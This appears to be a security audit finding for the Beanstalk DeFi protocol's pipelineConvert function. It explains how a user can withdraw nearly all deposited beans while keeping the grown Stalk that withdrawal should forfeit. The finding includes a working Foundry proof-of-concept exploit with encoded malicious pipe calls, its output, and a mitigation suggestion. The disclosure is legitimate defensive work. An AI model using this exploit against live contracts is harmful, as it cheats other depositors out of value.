Summary
The grown amount of Stalks from a given deposit is forfeited when the deposit is withdrawn from the Silo. The requirement to forfeit Stalks that have grown over time creates an opportunity cost for leaving the Silo, thereby increasing the stickiness of deposits the longer they stay deposited.
However, a malicious user (attacker) can bypass this limitation. In other words, an attacker can withdraw from the Silo without losing the grown Stalks (those Stalks that grow from the deposit per season (stemTip - stem) * bdv
).
Vulnerability Details
The function pipelineConvert
allows any type of conversion using a series of pipeline calls. It first withdraws tokens and calculates the amount of grown Stalks and BDV that should be used for conversion. Then, it executes a series of pipeline calls. Finally, it adds tokens with new BDV and the same grown Stalk (if there is no penalty).
function pipelineConvert(
address inputToken,
int96[] calldata stems,
uint256[] calldata amounts,
address outputToken,
AdvancedFarmCall[] calldata advancedFarmCalls
)
external
payable
fundsSafu
nonReentrant
returns (int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv)
{
(grownStalk, fromBdv) = LibConvert._withdrawTokens(inputToken, stems, amounts, fromAmount);
(toAmount, grownStalk, toBdv) = LibPipelineConvert.executePipelineConvert(
inputToken,
outputToken,
fromAmount,
fromBdv,
grownStalk,
advancedFarmCalls
);
toStem = LibConvert._depositTokensForConvert(outputToken, toAmount, toBdv, grownStalk);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/silo/PipelineConvertFacet.sol#L96-L107
In the function _withdrawTokens
, the amount of grown Stalks is calculated using the formula (stemTip - stem) * bdv
. It assumes that a.bdvsRemoved[i].toUint128()
is going to be removed, so all the grown Stalks associated with this deposit should be kept and not forfeited.
function _withdrawTokens(
address token,
int96[] memory stems,
uint256[] memory amounts,
uint256 maxTokens
) internal returns (uint256, uint256) {
a.stalksRemoved[i] = LibSilo.stalkReward(
stems[i],
germStem.stemTip,
a.bdvsRemoved[i].toUint128()
);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Convert/LibConvert.sol#L481
Then, in the function executePipelineConvert
, the beans amount to be removed (taking bean to LP conversion as an example) will be transferred to C.PIPELINE
. Afterward, a series of encoded calls provided by the user will be executed. It is expected that these calls will utilize the beans already transferred to C.PIPELINE
to add liquidity to the beanETH well, and then the resulting LP tokens will be transferred back to C.PIPELINE
. Subsequently, the function transferTokensFromPipeline
will treat these LP tokens as toAmount
. If there is no penalty, the same grown Stalk will be returned, and the new BDV based on toAmount
will be calculated.
function executePipelineConvert(
address inputToken,
address outputToken,
uint256 fromAmount,
uint256 fromBdv,
uint256 initialGrownStalk,
AdvancedFarmCall[] calldata advancedFarmCalls
) external returns (uint256 toAmount, uint256 newGrownStalk, uint256 newBdv) {
IERC20(inputToken).transfer(C.PIPELINE, fromAmount);
executeAdvancedFarmCalls(advancedFarmCalls);
toAmount = transferTokensFromPipeline(outputToken);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Convert/LibPipelineConvert.sol#L37
In the function _depositTokensForConvert
, the toBDV
and grownStalk
calculated in the previous steps will be used to add a new deposit.
function _depositTokensForConvert(
address token,
uint256 amount,
uint256 bdv,
uint256 grownStalk
) internal returns (int96 stem) {
LibSilo.mintActiveStalk(LibTractor._user(), grownStalk);
LibTokenSilo.addDepositToAccount(
LibTractor._user(),
token,
stem,
amount,
bdv,
LibTokenSilo.Transfer.emitTransferSingle
);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Convert/LibConvert.sol#L512
Note that in the function executePipelineConvert
, when executeAdvancedFarmCalls
is called, the flow is as follows:
LibPipelineConvert::executeAdvancedFarmCalls ==> LibFarm::_advancedFarm ==> LibFarm::_farm
```solidity
function _farm(bytes memory data) internal returns (bytes memory result) {
bytes4 selector;
bool success;
assembly {
selector := mload(add(data, 32))
}
address facet = LibFunction.facetForSelector(selector);
(success, result) = facet.delegatecall(data);
LibFunction.checkReturn(success, result);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/LibFarm.sol#L65
So, it is possible to delegate a call to any facet available in the Diamond. If it delegates a call to the function advancedPipes
in DepotFact
, there is flexibility to invoke any arbitrary address. The flow is as follows:
DepotFacet::advancedPipe ==> Pipeline::advancedPipe ==> Pipeline::_advancedPipe ==> Pipeline::_pipe
function advancedPipe(
AdvancedPipeCall[] calldata pipes,
uint256 value
) external payable fundsSafu noSupplyIncrease returns (bytes[] memory results) {
results = IPipeline(PIPELINE).advancedPipe{value: value}(pipes);
LibEth.refundEth();
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/farm/DepotFacet.sol#L51
function _pipe(
address target,
bytes calldata data,
uint256 value
) private returns (bytes memory result) {
bool success;
(success, result) = target.call{value: value}(data);
LibFunction.checkReturn(success, result);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/pipeline/Pipeline.sol#L71
This provides an attack opportunity where the attacker initiates a convert transaction to convert X amount of beans to LP. However, when _pipe
is called, the attacker transfers only a small portion of X to the well to be added as liquidity and transfers the rest directly to themselves. This action results in the protocol assuming that the entire X amount of beans were converted to LP, retaining all the grown stalks associated with the deposit of X amount of beans without forfeiture. In reality, the attacker withdraws a large portion of X amount of beans, allowing them to withdraw almost all X amount of beans (except for some wei) without losing their grown stalks.
The full attack is as follows:
Suppose the attacker has deposited 1000e6
bean in Silo in season 1.
In season 3, the amount of grown stalk from this deposit is equal to 4_000_000_000
(it is calculated as 2_000_000_000
per season).
The attacker would like to withdraw his deposit without losing 4_000_000_000
grown stalks.
The attacker calls the function pipelineConvert
where the parameter advancedFarmCalls
is encoded to execute the function advancedPipe
in DepotFacet
where the parameter pipes
is encoded to execute the following calls in order:
calling the contract Bean
to transfer 1000e6 - 2
bean from Pipeline
to the attacker.
calling the contract Bean
to approve max from Pipeline
to BeanETH well.
calling the contract Well
to add liquidity 2
bean from Pipeline
to BeanETH well.
By doing so, 1000e6
beans will be removed from the attacker's deposit. Among that, only 2
beans are converted to the LP, and 1000e6 - 2
will be transferred directly to the attacker (as if 1000e6 - 2
beans are withdrawn from the Silo).
During the pipelineConvert
function, it calculates that 4_000_000_000
stalks were grown associated with the 1000e6
bean deposit. So, the protocol assumes that this amount of stalks should not be forfeited, and they should be added to the LP deposit. But, in reality, only 2
beans were converted, so if the protocol was implemented properly, it should have kept only those grown stalks associated with 2
bean deposit instead of 1000e6
bean deposit.
At the end, the attacker could withdraw 1000e6 - 2
beans from the Silo, while keeping 4_000_000_000
grown stalks.
Test Case
The full foundry test code of the explained scenario above is as follows:
It shows that the attacker's grown stalk before and after converting is equal to 4000000000
. It means that although he is converting only 2
beans, all his grown stalks are kept.
Moreover, it shows that the balance of the attacker after the converting is equal to 999999998
. It means that the attacker could withdraw 999999998
beans from 1000e6
beans without losing his grown stalks (only losing 2
beans which is negligible as bean has 6 decimals).
function testWithdrawWithoutLosing() public {
int96 stem;
uint beanAmountToConvert = 2;
uint beanAmountToWithdraw = 1000e6 - 2;
setDeltaBforWell(int256(beanAmountToConvert), beanEthWell, C.WETH);
stem = depositBeanAndPassGermination(beanAmountToConvert + beanAmountToWithdraw, users[1]);
console.log("current season: ", bs.season());
uint256 attackerBalanceBefore = IERC20(C.BEAN).balanceOf(users[1]);
console.log(
"attacker's grownstalk of Bean before convert: ",
bs.grownStalkForDeposit(users[1], C.BEAN, stem)
);
int96[] memory stems = new int96[](1);
stems[0] = stem;
AdvancedFarmCall[] memory beanToLPFarmCalls = createBeanToLPFarmCallsMalicious(
beanAmountToWithdraw,
beanAmountToConvert,
new AdvancedPipeCall[](0)
);
uint256[] memory amounts = new uint256[](1);
amounts[0] = beanAmountToConvert + beanAmountToWithdraw;
vm.prank(users[1]);
(int96 toStem,,,,) = convert.pipelineConvert(
C.BEAN,
stems,
amounts,
beanEthWell,
beanToLPFarmCalls
);
console.log("attacker's balance of BEAN after convert: ", IERC20(C.BEAN).balanceOf(users[1]) - attackerBalanceBefore);
console.log(
"attacker's grownstalk of beanEthWell after convert: ",
bs.grownStalkForDeposit(users[1], beanEthWell, toStem)
);
}
function createBeanToLPFarmCallsMalicious(
uint256 amountOfBeanTransferredOut,
uint256 amountOfBeanConverted,
AdvancedPipeCall[] memory extraPipeCalls
) internal view returns (AdvancedFarmCall[] memory output) {
bytes memory transferEncoded = abi.encodeWithSelector(
IERC20.transfer.selector,
users[1],
amountOfBeanTransferredOut
);
bytes memory approveEncoded = abi.encodeWithSelector(
IERC20.approve.selector,
beanEthWell,
MAX_UINT256
);
uint256[] memory tokenAmountsIn = new uint256[](2);
tokenAmountsIn[0] = amountOfBeanConverted;
tokenAmountsIn[1] = 0;
bytes memory addLiquidityEncoded = abi.encodeWithSelector(
IWell.addLiquidity.selector,
tokenAmountsIn,
0,
C.PIPELINE,
type(uint256).max
);
AdvancedPipeCall[] memory advancedPipeCalls = new AdvancedPipeCall[](100);
uint256 callCounter = 0;
advancedPipeCalls[callCounter++] = AdvancedPipeCall(
C.BEAN,
transferEncoded,
abi.encode(0)
);
advancedPipeCalls[callCounter++] = AdvancedPipeCall(
C.BEAN,
approveEncoded,
abi.encode(0)
);
advancedPipeCalls[callCounter++] = AdvancedPipeCall(
beanEthWell,
addLiquidityEncoded,
abi.encode(0)
);
for (uint j; j < extraPipeCalls.length; j++) {
advancedPipeCalls[callCounter++] = extraPipeCalls[j];
}
assembly {
mstore(advancedPipeCalls, callCounter)
}
AdvancedFarmCall[] memory advancedFarmCalls = new AdvancedFarmCall[](1);
bytes memory advancedPipeCalldata = abi.encodeWithSelector(
depot.advancedPipe.selector,
advancedPipeCalls,
0
);
advancedFarmCalls[0] = AdvancedFarmCall(advancedPipeCalldata, new bytes(0));
return advancedFarmCalls;
}
The output is:
current season: 3
attacker's grownstalk of Bean before convert: 4000000000
attacker's balance of BEAN after convert: 999999998
attacker's grownstalk of beanEthWell after convert: 4000000000
Impact
Bypassing the forfeiture of grown stalks when withdrawing deposits.
Tools Used
Recommendations
One potential solution is to compare toAmount
with fromAmount
while considering the reserves in the well, to assess whether their ratio is reasonable. A large ratio could indicate a potential for manipulation.